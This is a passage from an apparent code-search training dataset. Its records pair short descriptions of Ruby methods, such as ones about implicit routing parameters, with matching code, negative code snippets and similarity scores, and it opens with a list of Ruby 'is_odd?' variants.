true\n else \n return false\n end \nend", "def is_odd(number)\n return true if number % 2 != 0\n return false if number % 2 == 0\nend", "def is_odd?(num)\n # return false if num.zero?\n # num *= -1 if num < 0\n !(num % 2).zero?\n # !(num.remainder(2).zero?)\nend", "def is_odd?(num)\n num = num * -1 if num < 0 # get absolute value\n num.remainder(2) == 1 ? true: false\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(num)\n num.remainder(2) != 0\nend", "def is_odd?(num)\n num.remainder(2).abs == 1\nend", "def is_odd? number\n number % 2 == 1\nend", "def is_odd(number)\n if number % 2 == 0\n return false\n end\n return true\nend", "def is_odd?(num)\n num.abs % 2 != 0\nend", "def is_odd(number)\n output = false\n if (number % 2) != 0\n output = true\n end\n return output\nend", "def odd_number?(number)\n number % 2 == 1\nend", "def is_odd?(number)\n number % 2 != 0\nend", "def is_odd?(number)\n number % 2 == 1\nend", "def is_odd?(num)\n num.remainder(2) == 1 || num.remainder(2) == -1\nend", "def is_odd?(int)\n int % 2 == 1\nend", "def is_odd(n)\n n % 1 == 0 && n.to_i.odd?\nend", "def is_odd?(number)\n\n\t#WHY WASN\"T MODULO WORKING?\n\t# if (number%2) != 0\n\t# \tputs \"true\"\n\t# \treturn true\n\tnumber = number.to_i\n\tif number.odd?\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def is_odd?(number)\n number.abs % 2 != 0 && number != 0\nend", "def is_odd?(int)\n (int % 2).abs != 0\nend", "def still_odd?(num)\n num.remainder(2).abs == 1\nend", "def is_also_odd?(param_integer)\n param_integer % 2 > 0\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(integer)\n integer % 2 == 1\nend", "def is_odd?(int) \n if int % 2 == 0\n return false\n else return true\n end\nend", "def is_odd?(number)\n number.abs % 2 != 0\nend", "def is_odd?(number)\n number.abs % 2 != 0\nend", "def is_odd?(integer)\n integer % 2 != 0\nend", "def is_odd?(num)\n # num.abs % 2 != 0 \n num % 2 == 1\n # ruby modulus operator always return non-negative result if num on right is positive\n # ie, % is a modulus operator and \"not a remainder operator as in some languages\"\n # my first line was correct, but more properly per the proposed problem\n # check if odd, do not check if not even\nend", "def is_odd?(n)\n n % 2 == 1\nend", "def is_odd?(number)\n puts \"Is number #{number} an odd number?:\"\n number % 2 == 0 ? false : true\n\nend", "def is_odd?(int)\n int.abs % 2 == 1\nend", "def is_odd?(number)\n number.remainder(2) != 0\nend", "def is_odd2?(num)\n num.remainder(2) != 0\nend", "def is_odd?(integer)\n integer % 2 == 0 ? false : true\nend", "def is_odd?(number)\n number.remainder(2).abs > 0\nend", "def is_odd2?(num)\n num.abs % 2 == 1\nend", "def is_it_odd?(int)\n int.abs % 2 != 0\nend", "def is_odd?(number)\n number.abs.remainder(2) == 1\nend", "def is_odd?(int)\n int.odd?\nend", "def odd?(number)\n if number % 2 == 0\n false\n else \n true\n end\nend", "def is_odd?(integer)\n\tinteger.abs % 2 == 1\n\t\nend", "def is_odd?(n)\n n.abs % 2 != 0\nend", "def is_odd?(input)\n input % 2 != 0 # => true\nend", "def is_odd?(int)\n int.abs.remainder(2) == 1\nend", "def is_odd(x)\n x % 2 == 0 ? false : true\nend", "def is_even_or_odd(num)\n\treturn num.odd? ? 'odd' : 'even'\nend", "def this_is_also_odd?(param_integer)\n param_integer.remainder(2) != 0\nend", "def odd_integer(n)\n if n % 2 == 0 || n == 0\n return false\n else \n return true\n end\nend", "def odd (numb)\n return true if numb % 2 == 1\n return false\nend", "def odd(int)\n int % 2 == 1\nend", "def is_odd(x)\n # Use the logical results provided to you by Ruby already..\n x % 2 != 0\nend", "def is_odd?(number)\n number.remainder(2).abs == 1 # I originally wrote this w/o the .abs method call; -17 returned false as a result due to the remainder being\nend", "def is_odd?(input)\n\n if input % 2 == 1\n true\n else\n false\n end\n\nend", "def even? num\n num.to_i % 2 == 0\n end", "def is_odd1?(integer)\n integer.remainder(2) != 0\nend", "def is_odd?(integer)\r\n !(integer.abs.remainder(2) == 0)\r\nend", "def is_odd?(value)\n return false unless value == value.to_i # check float = integer\n value.abs % 2 == 1 ? true : false # check if odd\nend", "def is_odd(tal)\n if tal % 2 != 0\n return true\n else\n return false\n end\nend", "def is_odd?(number)\n number % 2 == 1 # returned due to being last line in method + returns boolean due to operator\nend", "def is_odd2?(int) \n if int < 0\n int = int * -1\n end\n int % 2 == 1\nend", "def odd_number_check_two(number)\r\n number % 2 == 1 || number % 2 == -1 \r\nend", "def is_odd_no_modulo?(number)\n float = number / 2.0\n if float == float.to_i.to_f\n puts \"#{number} is even.\"\n else\n puts \"#{number} is odd.\"\n end\nend", "def is_odd?(integer)\n# integer.abs % 2 == 1 the #abs method is unnecessary here, because of how modulus works :)\n integer % 2 == 1\nend", "def odd_or_even(number)\n if number.odd?\n 'That number is odd'\n else\n 'that number is even'\n end\nend", "def is_even?(num)\n\tif ((num % 2) == 0)\n\t\tputs \"true\"\n\telse\n\t\tputs \"false\"\n\tend\nend", "def odd_or_even(number)\n if number.odd?\n \"That number is odd\"\n else\n \"That number is even\"\n end\nend", "def is_even(number)\n number.to_i\n if number%2 == 1\n return true\n else\n return false\n end\nend", "def even_odd(number)\n unless number.is_a? Numeric\n return \"A number was not entered.\"\n end\n\n if number % 2 == 0\n \"That is an even number.\"\n else\n \"That is an odd number.\"\n end\nend", "def is_odd_rem?(num)\n num.abs.remainder(2) == 1\nend", "def is_odd3?(int)\n if int.remainder(2) == 0\n return false\n else\n return true\n end\nend", "def is_even(num)\n if num%2 ==0\n puts true\n else\n puts false\n end\nend", "def is_odd?(integer)\n integer.abs.remainder\nend", "def ood_or_even(number)\n if number.odd?\n 'the number is odd'\n else\n 'the number is even'\n end\nend", "def is_odd?(int)\n \n # int.abs.odd? # #abs, #remainder\n\n # int.abs.remainder(2) == 1 # #abs and #remainder \n \n # int.remainder(2) == 1 || int.remainder(2) == -1 # remainder only\n \n int % 2 == 1 # #modulo % always has the sign of the divisor (positive 2)\n\nend", "def is_even(num)\n return(num % 2) == 0\nend" ]
[ "0.80405414", "0.789355", "0.78931224", "0.7890589", "0.78826624", "0.78635436", "0.78612596", "0.78533417", "0.7830883", "0.77971596", "0.77971596", "0.7794067", "0.7794067", "0.7794067", "0.7794067", "0.7794067", "0.77934444", "0.77731603", "0.77723444", "0.77699554", "0.77699554", "0.77674043", "0.7766976", "0.7745812", "0.7744379", "0.7737688", "0.7716594", "0.7716594", "0.7716594", "0.77092344", "0.7707446", "0.7706011", "0.76997817", "0.76947576", "0.7688814", "0.76769733", "0.76733017", "0.7660228", "0.7641477", "0.7640238", "0.7637024", "0.7605766", "0.759119", "0.7581246", "0.7562429", "0.7560984", "0.7560984", "0.7560984", "0.75565594", "0.7552285", "0.7552285", "0.7548768", "0.7543624", "0.7541814", "0.7519321", "0.7518795", "0.7511793", "0.7498957", "0.74907404", "0.7490561", "0.7477719", "0.7469004", "0.7445895", "0.7434819", "0.73914236", "0.73859", "0.7369989", "0.7349193", "0.7345339", "0.7315849", "0.7290383", "0.72743905", "0.7250129", "0.7249042", "0.7241993", "0.7239834", "0.72381324", "0.7220594", "0.72191817", "0.7196936", "0.7187531", "0.7171963", "0.7145793", "0.7138154", "0.709815", "0.70979536", "0.70964617", "0.70890087", "0.7087698", "0.7064428", "0.70630926", "0.70522594", "0.70108175", "0.69916433", "0.6990596", "0.6987711", "0.6979625", "0.69657564", "0.6951297", "0.6940349" ]
0.79078776
1
Whether any implicit routing parameters are present.
def routing_params? routing_params.any? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def routing_params?\n routing_params.any?\n end", "def any_empty_routing?\n self.empty?(self, \"routings\", false)\n end", "def needed_params_present?(*ar_params)\n ar_params.flatten.all? { |e| params[e].present? }\n end", "def params?\n !(params.input_filters.required_inputs.empty? && params.input_filters.optional_inputs.empty?)\n end", "def req_params_present? sym_array = []\n return sym_array.all? {|k| params.has_key? k}\n end", "def empty_params?\n params.reject{ |k,_| k.to_sym.eql?(:controller) || k.to_sym.eql?(:action)}.empty?\n end", "def required_params?\n @unincluded_params = []\n\n required_params.each do |param|\n unless params.include?(param)\n unincluded_params << param\n end\n end\n\n unincluded_params.empty?\n end", "def applicable?\n super && route.segment_keys.size > 0\n end", "def no_parameters?\n @parameters.nil? or @parameters.empty?\n end", "def has_search_parameters?\n result = super || !params[:t].blank? || !params[:l].blank? || !params[:resolve].blank?\n end", "def has_missing_params?(required_params)\n required_params.each do |param|\n return true if params[param].blank?\n end\n false\n end", "def missing_mandatory_params?(params)\n mandatory_params.each { |mandatory_param| @missing_params << mandatory_param if params[mandatory_param].to_s.empty? }\n return !@missing_params.empty?\n end", "def is_true?(request, params)\n return (evaluate_path(params) & expected_values).any?\n end", "def valid_params_request?\n true\n end", "def valid_params_request?\n true\n end", "def valid_params?\n params.none? do |k,v|\n v == \"\"\n end\n end", "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end", "def check_required_scope_args(scope, params)\n # make sure we have a hash and it has values\n return false unless params.is_a?(Hash) && params.present?\n # find required values\n required = scope.select{ |k,v| v.to_sym == :req }.keys\n # make sure we have all of the required values, we allow false\n required.all? { |key|\n params[key].present? || params[key] == false\n }\n end", "def param_exists?(param_name)\n params[param_name] and not params[param_name].empty? ? true : false\n end", "def check_route_params\n params.select{|key,value| key.in?(CheckRoute.column_names())}\n end", "def api_has_param?(key)\n @api[:optional].has_key?(key)\n end", "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:filename].blank? &&\n !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end", "def valid_params_request?\n !!env[\"devise.allow_params_authentication\"]\n end", "def custom_get_request_with_params?\n request.method =~ /get/i && !%w(index show).include?(params[:action]) && !params.nil?\n end", "def valid?\n @params_definition.each { |pd| return false unless @params.has_key?(pd) }\n true\n end", "def any_tag_in_params?\n params[:t] != nil\n end", "def check_params\n true\n end", "def has_param?(key)\n params[key] || dyn_params[key]\n end", "def has_search_and_sort_params?\n overlapping_keys = (@params.keys.map(&:to_sym) & search_and_sort_params)\n overlapping_keys.any?\n end", "def has_param?(key)\n @params.internal_parameters.has_key?(key)\n end", "def required_param_types_present?\n @required_param_types.each do |string|\n return false unless param_classname_present?(string)\n end\n return true\n end", "def has_included_resources?\n # Check nill\n if @include_param.nil?\n has_included_resources_is_false_when_nil\n else\n check_has_included_resources_is_true_or_false_with_wildcard_and_non_params_or_both\n end\n\n end", "def has_valid?(params)\n params.none?{|key,value| value.empty?}\n end", "def ensure_params(*req)\n missing = []\n req.flatten.each do |param|\n if params[param].blank?\n missing << param.to_s\n end\n end\n if missing.empty?\n return false\n else\n msg = \"Following params are required but missing: \" + missing.join(\", \")\n render_api_error(11 , 400, 'params', msg)\n return true\n end\n end", "def respond_to_missing?(name, include_private = false)\n @params.key?(name) ||\n active_params.any? { |param| param.respond_to_missing?(name) } ||\n super\n end", "def has_search_parameters?\n params[:search_field].present? || search_state.has_constraints?\n end", "def empty?\n @routes.empty?\n end", "def invalid_params?\n @invalid_params.keys.length == 0\n end", "def has_param?(name)\n\n end", "def adjacent_params?\n @has_adjacent_params\n end", "def has_not_mandatory_params?\n !params[:email].present? || !params[:password].present?\n end", "def has_param(name) \n return (@params.has_key? name)\n end", "def valid_for_params_auth?\n params_authenticatable? && valid_params_request? &&\n valid_params? && with_authentication_hash(:params_auth, params_auth_hash)\n end", "def whitelisted_routes\n grack_route? || internal_route? || lfs_route? || sidekiq_route?\n end", "def auth_params_exist\n auth.key?(:user_id) && auth.key?(:api_key)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def available?(params)\n unavailability_reasons(params).empty?\n end", "def has_missing_required_arg?\n !missing_required_arguments.empty?\n end", "def check_route_params\n request_para = params[:check_route].nil? ? params : params[:check_route]\n request_para.select{|key,value| key.in?(CheckRoute.column_names())}.symbolize_keys\n end", "def has_search_parameters?\n !params[:q].blank? || !params[:f].blank? || !params[:search_field].blank?\n end", "def optional?\n required.empty? && required_keywords.empty?\n end", "def acceptable?(scopes)\n accessible? && includes_scope?(*scopes)\n end", "def allowed_routes\n introspector.routes.keep_if(&method(:allow_route?))\n end", "def validate_params?\n true # TODO: add validation\n end", "def binder_routing_ok?(binder, action)\n\n\t\treturn request.path[0..named_binder_route(binder, action).size - 1] == named_binder_route(binder, action)\n\n\tend", "def has_search_parameters?\n !params[:q].blank? or !params[:f].blank? or !params[:search_field].blank?\n end", "def optional?\n not (@required or @forbidden)\n end", "def check_params; true; end", "def ensure_param(arg)\n params[arg.to_sym].present?\n end", "def param_present?(obj)\n @config_params.value?(obj)\n end", "def is_param_defined(params)\n yield if !params.is_a?(Struct) \n end", "def or_filters_provided?\n true\n end", "def no_other_update_params?\n !@name && !@author && !@rank && @deprecated.nil? &&\n !@synonymize_with && !@clear_synonyms && !@correct_spelling\n end", "def action_controller_parameters_in?(attributes)\n return false unless [Hash, ActionController::Parameters].include?(attributes.class)\n ActionController::Parameters === attributes || attributes.any?{|_k,v| ActionController::Parameters === v }\n end", "def valid?(required_params)\n required_params.each do |p|\n return false unless @params_map.key?(p)\n end\n true\n end", "def authorize_routing(session)\n true\n end", "def uses_par?(parameter); @params.values.include?(parameter); end", "def has_named_route?(name); end", "def accept?(path_info)\n\t\t1\n\tend", "def meets_requirements?(params)\n requirements.reject {|k| params.keys.map(&:to_s).include? k.to_s }.empty?\n end", "def expects?(param)\n expected_params.include? param.to_s\n end", "def no_search_requested?\n @params.length < 4\n end", "def has_route? ctrl, action\n !!@routes_lookup[[ctrl, action]]\n end", "def valid_params?\n params_auth_hash.is_a?(Hash)\n end", "def valid_params?(params)\n params.keys.each do |key|\n unless RealPush::API::App.params_accept.include? key.to_sym\n raise ConfigurationError, \"Invalid parameter! ( #{RealPush::API::App.params_accept.join(', ')} )\"\n end\n end\n true\n end", "def has_included_resources?\n @has_included_resources ||= included_resources.any?\n end", "def valid_keys?(passport)\n (REQ - passport.keys).length === 0\n end", "def any?\n required? || defaults? || splat? || block_arg?\n end", "def optional?\n !@required\n end", "def antweb_legacy_route?\n # \"st\" (starts_with) has been deprecated, but it's still used in links on AntWeb.\n params[:st].present? && params[:qq].present?\n end", "def implicit?\n !!@implicit\n end", "def check_path(param)\n return param # unless Nanotek::UriFilter.new(param).has_path?\n end", "def has_included_resources?\n !self.included_resources.empty?\n end", "def valid_params_request?; end", "def default_path_params\n false\n end", "def optional?\n not required\n end", "def evernote_params_found?\n unless @evernote_params\n log.error(\"required evernote configuration not found!\")\n false\n else true\n end\n end", "def allow_route?(route)\n introspector.controllers.include?(route[:controller]) &&\n controller_matches.all? { |regexp| route[:controller].to_s =~ regexp }\n end", "def full_params_include?(value)\n params = request_params\n return false if params.nil?\n each_key_value_for_hash(params) do |param|\n return true if param == value\n end\n false\n end", "def valid_params?(params)\n params_id_set = params[:enabled_component_ids].select(&:present?).to_set\n params_id_set.subset?(disableable_components_ids.to_set)\n end", "def valid_for_params_auth?; end", "def check_params\n # For each key,value in GLOBAL VAR **PARAMS**.\n PARAMS.each do |param, method|\n # Next if there isn't param in the request of client\n next unless params[param]\n # Check the *param* with *method*\n unless send(method, params[param])\n @error_object = \"Param #{param} is wrong, #{method} failed\"\n return false\n end\n end\n true\n end", "def param_is_valid?\n robot_facings = @robot.class.const_get(:AVAIABLE_FACING).map(&:to_s)\n\n !(@args =~ /^\\d+,\\d+,(#{robot_facings.join('|').upcase})+$/).nil?\n end", "def accepts_optional_argument?\n config[:optional_argument] || config[:argument] == :optional\n end", "def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end", "def parameters_are?(parameters)\n @parameters.to_s == parameters\n end", "def strip_params?\n params[:strip_params] == 'true'\n end", "def param_posted?(symbol)\n request and params[symbol]\n end", "def optional?\n\t\t!required?\n\tend", "def can_safely_access_request_parameters?\n @request.request_parameters\n end" ]
[ "0.83231044", "0.7053154", "0.7045139", "0.6813631", "0.67478627", "0.665093", "0.66410327", "0.658831", "0.6584498", "0.6569803", "0.64620733", "0.64588356", "0.6455912", "0.6441002", "0.6441002", "0.6438757", "0.63905203", "0.6388502", "0.63435715", "0.6338592", "0.63203645", "0.6308976", "0.6308884", "0.62624186", "0.6246319", "0.62181395", "0.6210399", "0.61783034", "0.6174465", "0.6171793", "0.6168511", "0.61514187", "0.61438745", "0.6133075", "0.6132055", "0.6128502", "0.6123085", "0.61158043", "0.6104634", "0.6103917", "0.6089296", "0.60784227", "0.60695714", "0.6067001", "0.60452414", "0.6024084", "0.59798265", "0.5968662", "0.5919853", "0.59192824", "0.59171844", "0.5914855", "0.5905154", "0.5902797", "0.5893836", "0.5888357", "0.5871452", "0.58711034", "0.5857973", "0.5853186", "0.58485144", "0.58390427", "0.58368814", "0.58186185", "0.5806701", "0.5804598", "0.5791517", "0.57879996", "0.5782914", "0.57819873", "0.5767095", "0.5765545", "0.5765009", "0.5743218", "0.57413113", "0.5741156", "0.57367826", "0.5735703", "0.5732641", "0.5732431", "0.5732122", "0.57296747", "0.5719765", "0.57139933", "0.5713131", "0.5712533", "0.57107073", "0.57093215", "0.57090086", "0.5707101", "0.57018656", "0.56999624", "0.56913596", "0.5684253", "0.5675325", "0.5675277", "0.56688595", "0.56651485", "0.5663462", "0.5662138" ]
0.84076625
0
The implicit routing parameter names.
def routing_params routing_params_with_patterns.map { |param, _| param } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def routing_params\n routing_params_with_patterns.map { |param, _| param }\n end", "def param_names\n\t\treturn self.constraints.keys.map( &:to_s ).sort\n\tend", "def pnames\n @params.keys\n end", "def routing_params_with_patterns\n bindings.first&.routing_params_with_patterns || []\n end", "def routing_params_with_patterns\n @routing_params_with_patterns ||= begin\n Gapic::UriTemplate.parse_arguments(path).map do |name, pattern|\n [name, pattern.empty? ? \"*\" : pattern]\n end\n end\n end", "def parameter_names\n @parameters.map { |info| info.name }.join(', ')\n end", "def param_names\n first_level_expected_params = (list_required + list_optional).map{|rule| rule.name.to_s}\n first_level_expected_params += namespaced_params.map{|r| r.space_name.to_s}\n first_level_expected_params\n end", "def routing_keys\n []\n end", "def get_reqd_param_names\n rparams = []\n i = 1\n while !params[:rparams_.to_s + \"#{i}\"].nil?\n rparams << params[:rparams_.to_s + \"#{i}\"]\n i += 1\n end\n rparams\n end", "def symbolized_path_parameters\n @symbolized_path_params ||= path_parameters.symbolize_keys\n end", "def symbolized_path_parameters\n @env[\"action_dispatch.request.symbolized_path_parameters\"] ||= path_parameters.symbolize_keys\n end", "def get_opt_param_names\n oparams = []\n i = 1\n while !params[:oparams_.to_s + \"#{i}\"].nil?\n oparams << params[:oparams_.to_s + \"#{i}\"]\n i += 1\n end\n oparams\n end", "def named_routes(namespace=nil)\n unless routes = opts[:namespaced_routes][namespace]\n raise RodaError, \"unsupported multi_route namespace used: #{namespace.inspect}\"\n end\n routes.keys\n end", "def param_names\n all_errors.map(&:param_name)\n end", "def route_builder_params\n request_para = params[:route_builder].nil? ? params : params[:route_builder]\n request_para.select{|key,value| key.in?(RouteBuilder.column_names())}.symbolize_keys\n end", "def param_name\n if keys.length > 1\n first, *rest = keys\n v = first.dup\n rest.each do |param|\n v << \"[\"\n v << param unless param.is_a?(Integer)\n v << \"]\"\n end\n v\n else\n keys.first\n end\n end", "def namespaced_params\n @namespaced_params ||= []\n end", "def check_route_params\n request_para = params[:check_route].nil? ? params : params[:check_route]\n request_para.select{|key,value| key.in?(CheckRoute.column_names())}.symbolize_keys\n end", "def named_routes=(_arg0); end", "def get_params()\n return self.params.keys\n end", "def parameters\n context.parameters.map(&:name)\n end", "def routes\n [@name.downcase]\n end", "def route_enclosing_names\n @route_enclosing_names ||= returning(Array.new) do |req|\n enclosing_segments.each do |segment|\n unless segment.is_optional or segment.is_a?(::ActionController::Routing::DividerSegment)\n req << [segment.value, true] if segment.is_a?(::ActionController::Routing::StaticSegment)\n req.last[1] = false if segment.is_a?(::ActionController::Routing::DynamicSegment)\n end\n end\n end\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def overloaded_parameter_names\n overload_tags.map do |tag|\n Array(tag.parameters).map do |parameter|\n normalize_parameter_name(parameter[0])\n end\n end.flatten\n end", "def actionKeysNames _args\n \"actionKeysNames _args;\" \n end", "def to_param_namespace\n name.downcase\n end", "def params_keys\n default_keys + advanced_keys\nend", "def optional_params(route)\n if Rails.version >= \"3.2.0\"\n return route.optional_parts.map(&:to_s)\n end\n path_info = route.conditions[:path_info]\n path_info_source = path_info.source\n if RUBY_VERSION >= '1.9.2'\n optional_named_captures_regexp = /\\?\\:.+?\\(\\?\\<(.+?)\\>/\n path_info_source.scan(optional_named_captures_regexp).flatten\n else\n re = Regexp.escape(\"([^/.?]+)\")\n optional_named_captures_regexp = /#{re}|\\(\\?\\:.+?\\)\\?/\n captures = path_info_source.scan(optional_named_captures_regexp).flatten\n named_captures = path_info.named_captures.to_a.sort_by {|cap|cap.last.first} \n captures.zip(named_captures).map do |type, (name, pos)|\n name unless type == '([^/.?]+)'\n end.compact\n end\n end", "def param_name(key)\n first, *rest = keys(key)\n if first\n v = first.dup\n rest.each do |param|\n v << \"[#{param}]\"\n end\n v\n end\n end", "def keys\n @params.keys\n end", "def route_name; end", "def route_name; end", "def needed_params\n param_str = String.new(term_class.params)\n res = []\n while param_str.sub! /%([^%\\s]+)%/, '' do\n res << $1\n end\n res.sort\n end", "def parameter_names_with_defaults\n parameters.map do |param|\n s = param.name\n s += \" = #{param.default}\" if param.respond_to?(:default)\n s\n end.join(', ')\n end", "def method_names\n bindings.collect( &:inbound_name )\n end", "def check_route_params\n params.select{|key,value| key.in?(CheckRoute.column_names())}\n end", "def named_routes; end", "def action_name\n self.class.name.gsub(/Parameters/, '').underscore.to_sym\n end", "def update_params name_route = name\n { self.class.resource_name.downcase.to_sym => name_route }\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def block_parameter_names\n return block_def_node.parameters\n end", "def params_key\n controller_name.singularize.to_sym\n end", "def mention_parameter_patterns(name)\n expr = parameter_notations(name)\n [\n /#{expr}\\:\\:/, # param1::\n /\\`#{expr}\\`/, # `param1`\n /\\+#{expr}\\+/, # +param1+\n /\\+#{expr}\\+\\:\\:/, # +param1+::\n /<tt>#{expr}<\\/tt>/, # <tt>param1</tt>\n /<tt>#{expr}<\\/tt>\\:\\:/, # <tt>param1</tt>::\n /^\\s*#{expr}\\ +\\-\\ / # param1 -\n ]\n end", "def route_params\n params.require(:route).permit(:service_id, :verb, :url_pattern, :version)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def get_parm_named(long_form)\n return @parm_names[long_form]\n end", "def resources_for http_verb, path\n param_vals = []\n curr_node = @routes_tree[http_verb.to_s.downcase]\n return unless curr_node\n\n path.scan(%r{/([^/]+|$)}) do |(key)|\n next if key.empty?\n\n if curr_node[key]\n curr_node = curr_node[key]\n\n elsif curr_node[\"%s\"]\n param_vals << key\n curr_node = curr_node[\"%s\"]\n\n else\n return\n end\n end\n\n return unless curr_node.value\n rsc = curr_node.value.dup\n\n rsc[-1] = param_vals.empty? ?\n Hash.new :\n rsc[-1].inject({}){|h, name| h[name] = param_vals.shift; h}\n\n rsc\n end", "def all_params; end", "def scaffold_param_list_suffix\n ''\n end", "def params() @param_types end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def rest_method_parameters\n RestMethodParameter.find_all_by_rest_parameter_id(self.id)\n end", "def route_params\n params.fetch(:route, {}).permit(:negotiator_id)\n end", "def route_params\n params.require(:route).permit(:name)\n end", "def keys(*args)\n @params.keys(*args)\n end", "def keys(*args)\n @params.keys(*args)\n end", "def route_params\n params = { id: id }\n\n self.class.routes.values.each do |route|\n route.gsub(/:(\\w+)/) do |m|\n m = m.delete(':').to_sym\n params[m] = self.send(m)\n end\n end\n\n params\n end", "def params\n @symbolised_params ||= @rack_request.params.inject({}) { |p, (k,v)| p[k.to_sym] = v; p }\n end", "def location_parameter_names\n [:x, :y]\n end", "def routes\n { :static => @route_ids, :dynamic => @dynamic }\n end", "def analysis_parameter_names(parameter_type)\n self.analysis_parameters.send(parameter_type).map(&:config_param_name)\n end", "def query_parameters\n end", "def param_map\n\t\tintent.parameters\n\tend", "def params\n @params ||= HashWithIndifferentAccess.new(request.params.merge(env[\"rack.routing_args\"]))\n end", "def use_all_parameters\n params = valid_parameters.each {|parameter| add_parameters(parameter)}\n sort_symbols(params)\n end", "def method_argument_names\n name, usage = current_method_info\n results = usage.split(name.gsub(/_/,'-')).last || \"\"\n return results.split(' ')\n end", "def pbt_params_name(allow_as_nested = true)\n self.class.pbt_params_name(allow_as_nested)\n end", "def api_key_param_name( name )\n define_method( :api_key_param_name ) { name.to_sym }\n end", "def transform_param_keys_casing\n params.transform_keys!(&:underscore)\n end", "def parameters\n self.class.parameters.each_with_object({}) do |parameter, hash|\n hash[parameter.name] = send(parameter.name)\n end\n end", "def params\n @parameters\n end", "def introspect_params\n params = self.class.instance_method(:call).parameters\n return context.keys if params.map(&:first).include?(:keyrest)\n\n params.map(&:last)\n end", "def to_params\n @params ||= each_with_index.map do |key, index|\n \"$%s::%s\" % [index.next, hash[key]]\n end.join(\", \")\n end", "def params\n _params\n end", "def named_route; end", "def params\n @req.params\n end", "def pvalues(name)\n @params[name.upcase]\n end", "def param_value\n :\"#{as.to_s.singularize}_ids\"\n end", "def parameters(params)\n params.each do |key, value|\n send(\"#{key}=\".to_sym, value) if self.respond_to?(key)\n end\n end", "def parameters\n h = {}\n keys.each { |k| h[k.to_sym] = Jeapie.instance_variable_get(\"@#{k}\") }\n h\n end", "def routes_generate_options\n {\n :action => action_ref(:class => :controller),\n #TODO named root params\n :controller => controller_ref,\n :generate_all => nil,\n :method => link_to_methods,\n :use_route => nil,\n\n }\n end", "def allowed_params\n ALLOWED_PARAMS\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def params\n @params ||= Hashie::Mash.new.deep_merge(request.params).deep_merge(env['rack.routing_args'] || {})\n end", "def normalize_request_params(controller_name,action_name)\n return :_all, :_all unless @files[controller_name.to_sym]\n return controller_name.to_sym, :_all unless @files[controller_name.to_sym][action_name.to_sym]\n return controller_name.to_sym, action_name.to_sym\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def to_param\n url_name\n end", "def params\n @_params\n end", "def encode_parameter(key)\n IGNORED_PARAMETERS.include?(key) ? \"_#{key}\".to_sym : key\n end", "def all_routes\n matching_routes\n end", "def get_parameters\r\n @parameters\r\n end", "def subparameter_name; end", "def keys\n self.parameters.table.keys\n end", "def actionKeysNamesArray _args\n \"actionKeysNamesArray _args;\" \n end", "def to_param\n name.parameterize()\n end", "def params\n [<%= attributes.map {|a| \":#{a.name}\" }.sort.join(', ') %>]\n end", "def routed_generic_params\n params.require(:routed_generic).permit(:name, :generic_id, :route_id, :is_combination, :pregnancy_category_id, :release_status_id, :status_id)\n end" ]
[ "0.7574711", "0.71766347", "0.69187015", "0.67899436", "0.67747897", "0.67160463", "0.6659441", "0.6569839", "0.6567332", "0.6413499", "0.6294449", "0.62378097", "0.61766326", "0.6167571", "0.6132692", "0.612767", "0.60931385", "0.60600054", "0.60516065", "0.60426927", "0.60112166", "0.5982785", "0.5968805", "0.5958467", "0.5932754", "0.593108", "0.5928065", "0.5921223", "0.58754015", "0.58621997", "0.582949", "0.58208704", "0.58208704", "0.5797302", "0.57937986", "0.5767044", "0.5758915", "0.5742735", "0.5723311", "0.57153505", "0.5711265", "0.570072", "0.56831694", "0.56828505", "0.56630075", "0.5643341", "0.56249374", "0.559581", "0.55825883", "0.5563425", "0.55581164", "0.5556059", "0.5550227", "0.55475813", "0.55452013", "0.55332655", "0.55332655", "0.5532526", "0.5528739", "0.54948765", "0.54946536", "0.548915", "0.54874605", "0.5486991", "0.54801536", "0.54713297", "0.54593056", "0.5451101", "0.5447797", "0.544727", "0.5443083", "0.5437205", "0.5434925", "0.54335475", "0.5432233", "0.54314995", "0.5428668", "0.5421776", "0.5416877", "0.54133856", "0.540299", "0.5396958", "0.53949136", "0.5389002", "0.5389002", "0.538882", "0.5386375", "0.5383656", "0.5383656", "0.53827614", "0.5380033", "0.5378237", "0.53763425", "0.5372423", "0.5367498", "0.5366291", "0.53651446", "0.53615373", "0.5358125", "0.535272" ]
0.7595882
0
The implicit routing parameter names and their corresponding paterns, including the `` pattern implied for the named segments without an explicitly specified pattern.
def routing_params_with_patterns bindings.first&.routing_params_with_patterns || [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
